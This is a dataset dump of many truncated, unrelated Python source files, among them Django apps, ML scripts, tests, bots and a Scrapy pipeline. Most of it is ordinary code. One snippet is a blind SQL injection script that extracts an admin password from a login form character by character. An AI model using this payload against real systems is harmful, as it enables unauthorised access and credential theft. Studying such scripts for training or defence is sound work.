text
stringlengths
38
1.54M
""" For Sampling Speed Test """ from accel_rl.algos.pg.a2c import A2C import theano.tensor as T class A2C_NoOpt(A2C): def initialize(self, policy, env_spec, batch_size, horizon, mid_batch_reset): if int(policy.recurrent): raise NotImplementedError obs = env_spec.observation_space....
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html import logging import pymongo from scrapy.exceptions import DropItem from spider.configs.base_setting import MONGODB class S...
import functools import numpy as np import pytest import random import time from app import WEBSITES # set module mark pytestmark = pytest.mark.tips random.seed() # pytest -vv -s -l -ra --tb=long --durations=10 (see pytest.ini) # -vv: (verbose) # -s: disable capturing output # -l: show locals # --tb: show all fram...
import os minified = open('zogl.min.js', 'w'); files = [ 'debug.js', 'glMatrix-0.9.5.min.js', 'zogl.js', 'shaders.js', 'texture.js', 'window.js', 'shader.js', 'buffer.js', 'bufferset.js', 'polygon.js', 'quad.js', 'sprite.js', 'font.js', 'rendertarget.js', 'li...
import sys from math import sqrt def print_factor(x): fac = [] if not x.isdigit(): print('Please input an positive integer!') sys.exit(1) x_int = int(x) sqrt_x = int(sqrt(x_int)) for i in range(1, sqrt_x + 1): fac.append(i) y_int = int(x_int / i) if y_int !=...
r, x, y = map(int, input().split()) import math ans = 0 k = math.sqrt(x**2 + y**2) while k > 2*r: k -= r ans += 1 if k == r: ans += 1 else: ans += 2 print(ans)
import pytest # -*- coding: utf-8 -*- import unittest import evdev from evdev import ecodes from ..donkeypart_bluetooth_game_controller import BluetoothGameController from select import select from pytest import raises, fixture class FakeDevice: def read_loop(self): return 'test' @pytest.fixture def in...
import numpy as np import requests import pandas as pd from tqdm import tqdm # from requests.auth import HTTPBasicAuth OSF_TOKEN = '...' ME = 'https://api.osf.io/v2/users/djgaz/' headers = {'Authorization': 'Bearer {}'.format(OSF_TOKEN)} d = pd.DataFrame(columns=['name', 'download']) def pandafier(block): d_ = p...
import json from project.models.rasa_based_de import RasaDatasetExtraction from project.models.pattern_based_de import PatternDatasetExtraction from project.preprocessing.get_input import ProcessInput import matplotlib.pyplot as plt from statistics import median import matplotlib.ticker as mticker import numpy as np fr...
from __future__ import division import os import pickle import tensorflow as tf import numpy as np from sklearn.metrics import accuracy_score, balanced_accuracy_score, precision_score, recall_score, roc_auc_score, confusion_matrix, f1_score from imageio import imread, imwrite from PIL import Image import sys sys.path....
import loadData from numpy import * from sklearn import * trainData=loadData.loadTrainingData("u.data") def pca(dataSet,k):# taking k dimensions meanValues=mean(dataSet,axis=0)#1Xn dataSet=mat(dataSet) dataSet=dataSet-meanValues m=shape(dataSet)[0] n=shape(dataSet)[1] covMat=(1.0/943)*(dataSet.T)*dataSet # nXn ...
class Node(): def __init__(self, value): self.value = value self.next = None def delete_node(node): # If the node has a next set its value to the # next node and it's next to the next's node's next if node.next: node.value = node.next.value node.next = node.next.next a ...
from .tab_view import TabView from .user_view import UserViewSet from .register_view import RegisterView from .logout_view import Logout
import pandas as pd from src.selectors.base import SelectorBase __all__ = [ 'select_split', ] def as_tr_vl_te(df): for col in df.columns: if not isinstance(df[col].dtype, pd.CategoricalDtype): df[col] = df[col].apply(lambda v: ['train', 'test'][v]) return df.astype('category') def ...
from datetime import datetime from flask import ( abort, current_app, flash, jsonify, redirect, render_template, request, url_for, ) from flask_login import current_user from notifications_python_client.errors import HTTPError from notifications_utils.clients.zendesk.zendesk_client impo...
#!/usr/bin/env python import socket import sys import os BUFFSIZE = 1024*64 lo = 2130706432L def printf(format,*args): sys.stdout.write(format%args) def fprintf(fp,format,*args): fp.write(format%args) def intToIp(n): return "%i.%i.%i.%i"%(n>>24,(n>>16)&255,(n>>8)&255,n&255) def usage(prog): printf("usage...
import os import argparse import json from uuid import uuid4 parser = argparse.ArgumentParser(description="strongswan profile creator for windscribe vpn", allow_abbrev=False) parser.add_argument('-u', '--username', default=None, help="windscribe ikev2 username") args = parser.parse_args() servers = { "us_central":...
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'design.ui' # # Created by: PyQt5 UI code generator 5.15.2 # # WARNING: Any manual changes made to this file will be lost when pyuic5 is # run again. Do not edit this file unless you know what you are doing. from PySide2 import Q...
import requests def is_success(r): return 'login success' in r.text print("scanning...") msg = "" idx = 1 while True: head = 0x00 tail = 0x7f while tail - head > 0: mid = (head + tail) // 2 payload = { 'id': 'admin', 'password': f"' OR ASCII(SUBSTRING((SELECT password FROM users WH...
annual_salary = int(input("Enter your annual salary: ")) portion_saved = float(input("Enter the percentof your salary to save, as a decimal: ")) total_cost = int(input("Enter the cost of your dream home: ")) semi_annual_raise = float(input("Enter the semi-annual raise, as decimal: ")) month_salary = annual_salary/12 ...
import numpy as np import h5py import os from image_utils import load_image from model_util import predict def load_dataset_from_h5(train_data_set,test_data_set): train_dataset = h5py.File(str(train_data_set), "r") train_set_x_orig = np.array(train_dataset["train_set_x"][:]) # your train set features train...
'''A guessing game. Who has the most followers on Social media. The user should guess between two people. If the user guessed correctly, continue game and add to score. If input is wrong, stop game. Show score so far.''' from art import higher_lower_logo, higher_lower_vs from game_data import data import random import...
# Convert the RAW data from EDM .root files into DAQ .raw format # # usage: cmsRun $CMSSW_RELEASE_BASE/HLTrigger/Tools/python/convertToRaw.py \ # inputFiles=/store/path/file.root[,/store/path/file.root,...] \ # runNumber=NNNNNN \ # [lumiNumber=NNNN] \ # [eventsPerFile=50] \ # ...
""" 这个文件用来统计不同区域一天中流量岁时间的变化情况 输入数是是轨迹数据:"./data/1.txt" 输出数据:"./data/area_data_timeunit?_latunit?_longunit?.json" 其中timeunit表示统计时间单元的长度,latunit表示单位区域的纬度间隔,longunit表示单位区域的经度间隔 每个输出的json文件格式为 { "longitude_start": , "longitude_end": , "latitude_start": , "latitude_end": , "longitude_unit": , "latit...
# Sample Code using python-evdev tutorials to list properties of all devices. #https://python-evdev.readthedocs.io/en/latest/tutorial.html from evdev import InputDevice, list_devices from pprint import pprint #the pretty print modules for dev in list_devices(): # scan all devices device = InputDevice(dev) pprint(...
from django import forms from django.contrib.admin import widgets from .models import file, classPost as Post class PostForm(forms.ModelForm): choice = ( ('post','post'), ('anouncement','anouncement'), ('question', 'question') ) title = ...
import os import tarfile import numpy as np from scipy import misc import keras from keras.layers import Dense from keras.models import Model from keras.models import Sequential from keras.applications import VGG16 import matplotlib.pyplot as plt class ExtractFile(object): def __init__(self,filename): ''' Initia...
import numpy as np import cv2 from labvision.video import ReadVideo from ..customexceptions import CropMaskError, flash_error_msg class ReadCropVideo(ReadVideo): def __init__(self, parameters=None, filename=None, frame_range=(0,None,1), error_reporting=None): if error_reporting is not None: s...
from django.contrib import admin from .models import ActivityPeriods # Register your models here. admin.site.register(ActivityPeriods)
#!/usr/bin/python """ Bi-section method """ def sqrtBi(x, epsilon): low = 0 high = max(x, 1) crt = 0 guess = (low + high)/2.0 val = guess**2 - x while abs(val)>epsilon and crt < 100: if val < 0: low = guess else: high = guess guess = (low + high)/2.0 val = ...
import unittest import math import mock import numpy import six import chainer from chainer import cuda from chainer import functions from chainer import gradient_check from chainer import testing from chainer.testing import attr from chainer.testing import condition from chainn.chainer_component.functions.cross_ent...
from io_utils.parallel import apply_to_elements import pandas as pd from pynetcf.time_series import OrthoMultiTs import xarray as xr import numpy as np import os # todo: store grid file upon conversion def _store(dat: xr.Dataset, cell: int, out_path: str): sel = np.where(~dat['ts_mask'].values) if 'ts_mask' in da...
''' Class Methods A class method is a method which is bound to the class and not the object of the class. @ classmethod decorator is used to create a class method ''' class Employee: company = 'Kindle' salary = 100 location = 'Delhi' # def chnageSalary(self, sal): # self.__class__.salary = sal ...
dia = input('Em que dia você nasceu?: ') mes = input('Em que mês você nasceu?: ') ano = input('Em que ano você nasceu?: ') print('Você nasceu em', dia,'de', mes,'de', ano)
from .networks import RecognitionModel import torch from torchvision import transforms import cv2 as cv import numpy as np import os from facenet_pytorch import MTCNN class MaskRecognition(object): def __init__(self, device=0): self.device = torch.device(f"cuda:{device}") if device >= 0 else torch.device(...
import os import cv2 from django.shortcuts import render, reverse, redirect from django.views.generic import CreateView from django.core.exceptions import ValidationError from .forms import UploadImageForm from .models import ImageModel from cvision import settings from .scale_cnn import DistilledResNetSR keras_mode...
print('test1') level = 169.1 delta = 0.2 price = level-delta/100 tick=0.0001000 price = int(price/tick)*tick print(price)
from inspect import getfullargspec, signature as sig, Parameter from asyncio import iscoroutinefunction class MemberInfo: def getClass(t):return type(t) if not type(t) is type else t def checkForSame(invoke, base): if invoke==None:return if MemberInfo.getClass(base)!=MemberInfo.getClass(invoke):raise TypeError("...
Get_path = r'C:\Users\pravallika p\PycharmProjects\classprograms\trail.py' n = int(input("enter: ")) with open(Get_path,'r') as my_file: count = 0 for i in my_file: count+=1 if count == n+1: break print(i)
import sys # for sys.argv, the command-line arguments from Stack import Stack def delimiter_check(filename): # TODO put in stack and ####CHECK#### file = open(filename, 'r') lines = file.read() stack = Stack() key = { ')': '(', ']': '[', '}': '{' } for line in lines: length = len(line) for char ...
""" Todoist is a ToDo List app and Task manager. Advantages : - Apps for all platforms - One of the best todo widgets for Android I've used - Gamifies task completion with Karma points - IFTTT Integrations. Sync tasks with Google Calendar (events -> tasks) - Easy-to-use API - Dark Mode API Requirements : - API Key. O...
import pygame from pygame.locals import * from utils import * class Life: def __init__(self, rect, cell, born=(3,), save=(2,3), ver=(2,5), colors=None, lst=None, sum_func=None): self.born, self.save, self.ver = born, save, ver self.colors = colors if colors else (0, (0,255,0), (150,150,150)) self.spawn ...
# Generated by Django 3.0.3 on 2020-03-08 18:19 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('signUp', '0002_auto_20200308_2118'), ] operations = [ migrations.AlterField( model_name='user', name='user_type', ...
import socket import threading import sys import struct import signal from datetime import datetime from queue import Queue #-------NUMBER OF THREADS = 2-------- number_of_threads = 2 job_number = [1,2] queue = Queue() all_connections = [] all_addresses = [] #--------Create a socket-------------- def ...
import discretize import numpy as np import matplotlib.pyplot as plt M = discretize.TensorMesh([np.ones(n) for n in [2,3]]) M.plot_grid(faces=True) plt.show()
#!/usr/bin/env python import argparse import glob from Bio import SeqIO from Bio.Seq import Seq from Bio.Alphabet import IUPAC import re import os, errno # This script goes through the output of 10_create_mafft_scaffold_MG.fixed.mvref.pl and cleans things up. # Combines files into one file per gene # Aligns the new s...
# pylint:disable=redefined-outer-name,unused-argument import asyncio import hashlib import os import tempfile import uuid from concurrent.futures import ProcessPoolExecutor from pathlib import Path from typing import Iterator import pytest from simcore_service_webserver.exporter.archiving import ( unzip_folder, ...
import json from prcolors import prLightGray, prLightOrange from const import DATA_PATH # Main function to display info in the terminal def display_prices(): try: prices_file = open(DATA_PATH+'prices.json','r') prices = json.load(prices_file) print('-----------------------------------------...
def convert(string, struct) : new_string = "" for i in range(0, len(string)) : if i == len(string)-1 : aux = string[i-1] + string[i] + string[0] else : aux = string[i-1] + string[i] + string[i+1] new_string = new_string + struct[aux] return new_string
# -*- encoding:utf-8 -*- 方法一:使用enumerate函数 numbers=[10,29,30,41] for key,value in enumerate(numbers): print (key,value) 方法二:通过列表长度来迭代列表下标 for i in range(len(numbers)): print('({0},{1})'.format(i,numbers[i]))
# uncompyle6 version 3.7.4 # Python bytecode 2.7 (62211) # Decompiled from: Python 3.8.5 (default, Aug 12 2020, 00:00:00) # [GCC 10.2.1 20200723 (Red Hat 10.2.1-1)] # Embedded file name: c:\Jenkins\live\output\Live\win_64_static\Release\python-bundle\MIDI Remote Scripts\Akai_Force_MPC\ping_pong.py # Compiled at: 2020-...
import rospy from rospy import ROSException import warnings #from common.dict import getleafs_paths #API functions for setting and getting parameters #rospy.set_param(param_name,param_value) #rospy.get_param(param_name, default=<rospy.client._Unspecified object>) #For multiple parameters #{'x':1,'y':2,'sub':{'z':3...
class Solution(object): def maxProduct(self, nums): """ :type nums: List[int] :rtype: int """ if not nums: return 0 res = Max = Min = nums[0] for i in xrange(1, len(nums)): temp = Max Max = max(Max*nums[i], Min*nums[i], nums[i]) ...
import pyrosim import random import math import numpy import constants as c from predator import Predator from prey import Prey class COMBINED_PAIR: def __init__(self,i): self.ID = i #create genome for the weight variable self.predatorGenome = c.evolvedGenomePredator self.p...
# # Author: Christopher Minson # www.christopherminson.com # # import sys import os import json import string import textinput import numpy as np import tensorflow as tf import tensorflow_hub as hub from sklearn.metrics.pairwise import cosine_similarity import nltk #nltk.download('stopwords') #nltk.download('punkt')...
##Simple program to generate X, Y numpy arrays and create/plot a regression line from statistics import mean import numpy as np import matplotlib.pyplot as plt from matplotlib import style style.use('ggplot') def best_fit_slope_intercept(xs, ys): m = (mean(xs)*mean(ys) - mean(xs*ys)) / ((mean(xs)**2) - mean(xs...
from django.contrib import admin from django.urls import path from . import views urlpatterns = [ path('admin/', admin.site.urls), path('',views.loadCategory,name="loadCategory"), path('addCategory',views.addCategory,name="addCategory"), path('showCategory',views.showCategory,name="showCategory"), ...
import tkinter from tkinter.filedialog import askopenfilename import speech_recognition as sr import moviepy.editor as mp from rake_nltk import Rake top = tkinter.Tk() def fileopen(): filename = askopenfilename() file = filename if file[-3:] == "mp4": clip = mp.VideoFileClip(file).subclip(0,30) ...
from django.db import models from django.contrib.auth import get_user_model # class Author(models.Model): # name = models.CharField(max_length=255) # # def __str__(self): # return self.name # # class Major(models.Model): # name = models.CharField(max_length=255) # # def __str__(self): # ...
def test(a, b, *args): print(a) print(b) print(args) test(11, 22) class test(): def test(a, b, *args): print(a) print(b) print(args) test(11, 22, 33, 44, 55, 66, 77, 88, 99) def test(a, b, *args, **kwargs): print(a) print(b) print(args) print(kwargs) test(11, 22, 33, 44, 55,...
import numpy as np from tensorflow.python.keras.applications.resnet50 import preprocess_input from tensorflow.python.keras.preprocessing.image import load_img, img_to_array image_size = 224 def read_and_prep_images(img_paths, img_height=image_size, img_width=image_size): imgs = [load_img(img_path, target_size=(im...
from django.urls import path from salary.views import SalaryListCreateAPIView, SalaryRetrieveUpdateDestroyAPIView, SalaryListAPIView, GetSalaryAPIView urlpatterns = [ path('', SalaryListCreateAPIView.as_view(),), path('<int:pk>/', SalaryRetrieveUpdateDestroyAPIView.as_view(),), path('show', SalaryListAPIView.as_v...
import asyncio import telepot from telepot.delegate import per_chat_id from telepot.async.delegate import create_open from web import pingforward_web_init from botdata import get_config_item from conversationhandler import ConversationHandler from apipull.apipull import check_api_loop from autogroup.groupmaster import...
class TreeNode: def __init__(self, val, left=None, right=None): self.val = val self.left = left self.right = right def __repr__(self): return 'TreeNode({})'.format(self.val) def deserialize(string): if string == '{}': return None nodes = [None if val == 'null' ...
#!/usr/bin/env python # (py draw.py >! plots/nminus1effs/out.draw) && tlp plots/nminus1effs # Import nm1entry.py # - from MCSamples and roottools import * # - nm1entry class # - nminus1s list # - pretty dictionary # - styles dictionary from nm1entry import * def draw_mass_test(tag, printStats, lumi, do_tight=False):...
"""Answer to question 1. of TD2.""" from q1 import * from q2 import * from q3 import * def alpha(x, a, i): if i == 0: return 0 else: return 1. / i def q_learning(tree=TreeCut(), epsilon=.1, T_max=1000, n_episodes=100): greedy_policies = [] rewards = np.zeros(n_episodes) q_est = ...
""" we use this part to rank our properties with services provided and amenities """ # To rank we must call plot_rating(),house_ranking() in a shell or a custom commmand from .models import houseDesc,Plot def plot_rank(plot): S_R = {'Very safe':4,'Safe':3,'Good':2 ,'Worrying':1} W_R = {'More than 5 days PW':...
def clean_filename(name): result = [] for char in name: if 'A' <= char <= 'Z' or 'a' <= char <= 'z' or '0' <= char <= '9': result.append(char) elif ord(char) >= 128: result.append('#%x_' % ord(char)) else: result.append('_') return ''.join(result)
from datetime import date from datetime import datetime from dateutil.relativedelta import relativedelta import csv import os import pandas as pd def sharpe_ratio(trades_df): returns = trades_df['returns'] risk_free_return = 0.058 print('mean returns = ' + str(returns.mean())) print('std returns ' + st...
from django.shortcuts import render # Create your views here. from django.views.generic import View class AboutView(View): template_name = 'about/index.html' def get(self, request): return render(request, self.template_name)
import os import pymongo import redis as redis from flask import Flask, render_template, request from web_app.forms import SearchForm from web_app.search import * from web_app.soundex import make_soundex_index, update_soundex_index from web_app.wildcard import build_search_trie, update_search_trie SECRET_KEY = os.ur...
# -*- coding: utf-8 -*- # Generated by Django 1.9.9 on 2016-11-25 13:43 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('statusSeguimiento', '0022_auto_20161123_2032'), ] operations = [ migrations.RenameMo...
""" https://en.wikipedia.org/wiki/Binary_search_tree TODO: add deletion """ from typing import Any, Union, Tuple class TreeNode: def __init__(self, key: Any, value: Any, level: int = 0): self.key = key self.value = value self.level = level self.left: Union[TreeNode, None] = None ...
#Needs PIL, matplotlib, pgu, VideoCapture, pygame, and numpy import PIL import ImageStat import matplotlib.pyplot as plt from time import time from threading import Thread from time import sleep from pgu import gui import NoFontVideoCapture from Image import new from ImageOps import grayscale import pygame fps = 15.0...
import base64 import urllib import hashlib import datetime import json import os import requests from functools import wraps from urllib.parse import urlparse from pathlib import Path from flask import abort, Flask, jsonify, Response, send_from_directory, request from ip_television import IPTelevision import m3u M3...
from place import placebase,wildpetlist,treasure,meetnpc,block from players import explore,npcmap from assist import show,riddle,prize,changepet,system from props import bag import random,time,os class WildForm(placebase.Place): def showMap(self,player): can_go_list = [] if player.map_run_list[-1]...
# -*- coding:utf-8 -*- import os import sys sys.path.append(os.path.dirname(os.path.abspath(__file__))) sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) sys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) sys.path.append(os.path.dirname(os.path.dirna...
#!/usr/bin/python ''' Ravello external inventory script ================================================== Generates inventory that Ansible can understand by making an API request to Ravello. Modeled after https://raw.githubusercontent.com/jameslabocki/ansible_api/master/python/ansible_tower_cloudforms_inventory.py jl...
#: english { '__maintainer__' : '@JellyWX', 'blacklisted' : ''':x: This channel is blacklisted :x:''', 'admin_required' : 'You need to be an admin to run this command.', 'help' : '''Please visit https://jellywx.co.uk/help?lang=EN''', 'help_raw' : [ ['''Reminder Commands''', { ...
ora = 60 het = 7 nap = 26 minutes_in_a_week = het * nap * ora print("Hány perc lenne egy héten, ha 26 óra lenne egy nap:", minutes_in_a_week)
import numpy as np from sklearn.linear_model import LinearRegression from utils import create_data_for_linear_model if __name__ == '__main__': num_samples = 1000 num_features = 2 X, y = create_data_for_linear_model(num_samples, num_features) # solve the Normal Equation long-handed way with linear al...
# -*- coding: utf-8 -*- ############################################################################## # # Copyright (C) 2013-2015 Marcos Organizador de Negocios SRL http://marcos.do # Write by Eneldo Serrata (eneldo@marcos.do) # # This program is free software: you can redistribute it and/or modify # it under...
number = '%i'%(4) print number print "" decimal = '%d'%(5.84) print decimal print "" print bin(13)
#-*- coding: utf-8 -*- # 함수를 정의할때에 f(a,b)로 정의한다 # 텐서플로우는 연산작업을 변수로 받기 때문에 함수를 정의할때 임의의 변수가 필요하다 import tensorflow as tf a = tf.placeholder(tf.int64) b = tf.placeholder(tf.int64) #값을 갖고있진 않지만 변수로 지정함 add = tf.add(a,b) mul = tf.mul(a,b) with tf.Session() as session: print "add %i" % session.run(add,feed_dict={...
import sys import os import qrcode from MyQR import myqr def GenerateQRCode( data = "Default", output_directory = "I:\\DigitalCircuit", output_pic_name = "test.png", version = None, fill_color = "Black", back_color = "White", error_correction = qrcode.ERROR_CORR...
from .services.AirtableService import AirtableService service = AirtableService() print(service.GetRecords())
from django import forms from .models import Order, GiftCart class CheckoutForm(forms.ModelForm): class Meta: model = Order fields = ["payment_method"] class Gift_CartForm(forms.ModelForm): class Meta: model = GiftCart fields = '__all__'
import random from pylatex import Document, Section from pylatex import Command, NoEscape, Math, Tabular, Package from rpylatex import (begin, end, part, space, lines, br, needspace, bloctitle, question, choice, taulaconfig, obretaula, obrellarga, filataula, tancataula, envt, ...
# Generated by Django 2.2 on 2020-03-12 15:45 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Airport', fields=[ ('airport_code', models.In...
from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split from sklearn.ensemble import AdaBoostClassifier import joblib data = load_iris() x = data.data y = data.target x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3) model = AdaBoostClassifier() model.fit...
import numpy.matlib import pickle import json import matplotlib.pyplot as plt from sklearn import linear_model import matplotlib.pyplot as plt # 导入绘图包matplotlib(需要安装,方法见第一篇笔记) import time import csv import codecs import pandas as pd import numpy as np # print(pd.read_csv('file.tsv', delimiter='t')) import datetime fro...
# -*- coding: utf-8 -*- """ Spyder Editor This is a temporary script file. """ import os from flask import Flask , render_template,flash,redirect,url_for,session,request from passlib.hash import sha256_crypt from functools import wraps from classifier import classifier import json import numpy as np import pandas as p...
import os from . import BaseCommand from ..i18n import _ class Command(BaseCommand): name = os.path.splitext(os.path.basename(__file__))[0] description = _('invalidates all stream aliases') def fill_arguments(self): pass def format_quiet_msg(self, data): return self.format_verbose_...
def main(): N = int(input()) ans = [0] * 100000 for i in range(1, 100): for j in range(1, 100): for k in range(1, 100): tmp = i ** 2 + j ** 2 + k ** 2 + i*j + j*k + k*i ans[tmp] += 1 for i in range(N): print(ans[i+1]) if __name__ == '__main_...
import tornado.web from models.entity import Entity import dba.mongodb import dba.mssql from bson.json_util import dumps class LogHandler(tornado.web.RequestHandler): def get(self): guid = self.get_argument('guid') sqlCommand=("SELECT DATEDIFF(MINUTE,[StartOn],[EndOn]) AS ExecMinute,[Computer],[Use...
#!/usr/bin/env python import rospy from cv_bridge import CvBridge, CvBridgeError from sensor_msgs.msg import Image import numpy as np import cv2 import tensorflow as tf import sys def convert_depth_image(ros_image): cv_bridge = CvBridge() try: depth_image = cv_bridge.imgmsg_to_cv2(ros_image, desired_...
from __future__ import print_function import os import json from simphony_metatools.owl.owl_json_ld_generator import OWLJSONLDGenerator from simphony_metatools.tests import fixtures from simphony_metatools.tests.base_test_case import BaseTestCase class TestOWLJSONLDGenerator(BaseTestCase): def setUp(self): ...
# coding=utf-8 # Copyright 2016 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) import importlib imp...
import sys ''' "배열의 다음 숫자가 누적합+1 이하라면 누적합+1 까지 숫자들은 기존 숫자들의 조합으로 모두 표현 가능하다" 법칙을 사용한다. 1. 배열을 오름차순으로 정렬한다. 2. 반복문을 실행하면서, 배열의 값이 누적합 초과일 경우 반복문을 나온다. 3. 누적합을 출력한다. ''' N = int(sys.stdin.readline()) arr = list(map(int,sys.stdin.readline().split(" "))) # 배열 오름차순 정렬 arr.sort() num = 1 # 배열의 값이 누적합 초과일 경우 반복문을 나옴 for i...
from typing import List from collections import defaultdict class Solution: def numMatchingSubseq(self, S: str, words: List[str]) -> int: itrs_m = defaultdict(list) for w in words: itrs_m[w[0]].append( iter(w[1:]) ) for a in S: ...